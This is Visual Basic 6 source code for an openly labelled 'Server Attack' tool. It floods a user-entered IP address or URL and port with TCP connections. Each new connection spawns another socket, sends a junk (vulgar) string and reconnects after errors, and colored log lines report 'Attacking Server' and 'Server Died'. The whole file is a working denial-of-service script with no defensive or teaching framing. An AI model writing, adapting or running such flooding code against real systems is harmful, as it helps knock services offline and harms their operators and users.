Dim x As Integer

Dim attack As Boolean

--------------------------------------------------

Private Sub Attack_Click(Index As Integer)

If Text1.Text = "" Then

MsgBox "Please enter a valid ip or url"

Else

With w(0)

  .Connect Text1.Text, Text2.Text

End With

End If

End Sub

---------------------------------------------------

Private Sub Stop_Click(Index As Integer)

For i = 1 To x

Unload w(i)

DoEvents

Next i

w(Index).Close

w(0).Close

attack = False

stopped "Attack stopped at " & Time

x = 0

End Sub



---------------------------------------------------



Private Sub Clear_Click()

text3.Text = ""

End Sub

---------------------------------------------------

Public Sub looping()

x = x + 1

Load w(x)

With w(x)

.Connect Text1.Text, Text2.Text

End With

DoEvents

End Sub

---------------------------------------------------



Public Sub alive(txt As String)

Dim a As String

a = vbCrLf & txt

With text3

.SelStart = Len(.TextRTF)

.SelLength = Len(a)

  .SelColor = vbGreen

   .SelText = a

End With

End Sub

---------------------------------------------------

Public Sub dead(txt As String)

Dim a As String

a = vbCrLf & txt

With text3

.SelStart = Len(.TextRTF)

.SelLength = Len(a)

  .SelColor = vbRed

   .SelText = a

End With

End Sub

---------------------------------------------------

Public Sub stopped(txt As String)

Dim a As String

a = vbCrLf & txt

With text3

.SelStart = Len(.TextRTF)

  .SelLength = Len(a)

   .SelColor = vbYellow

    .SelText = a

End With

End Sub

---------------------------------------------------

Public Sub loadd(txt As String)

Dim a As String

a = txt

With text3

.SelStart = Len(.TextRTF)

.SelLength = Len(a)

  .SelColor = vbBlue

   .SelText = a

End With

End Sub



---------------------------------------------------



Private Sub w_Connect(Index As Integer)

attack = True

Dim pck$



pck$ = "SUCKONMABALLSACK"



looping

w(Index).SendData (pck$)

alive "Attacking Server " & w(Index).LocalPort & ":" & x

Me.Caption = "Server Attack(" & x & " " & "connections)"

DoEvents

End Sub

---------------------------------------------------

Private Sub w_Error(Index As Integer, ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

dead "Server Died @ " & Time

With w(Index)

.Close

.Connect Text1.Text, Text2.Text

End With

DoEvents

End Sub



---------------------------------------------------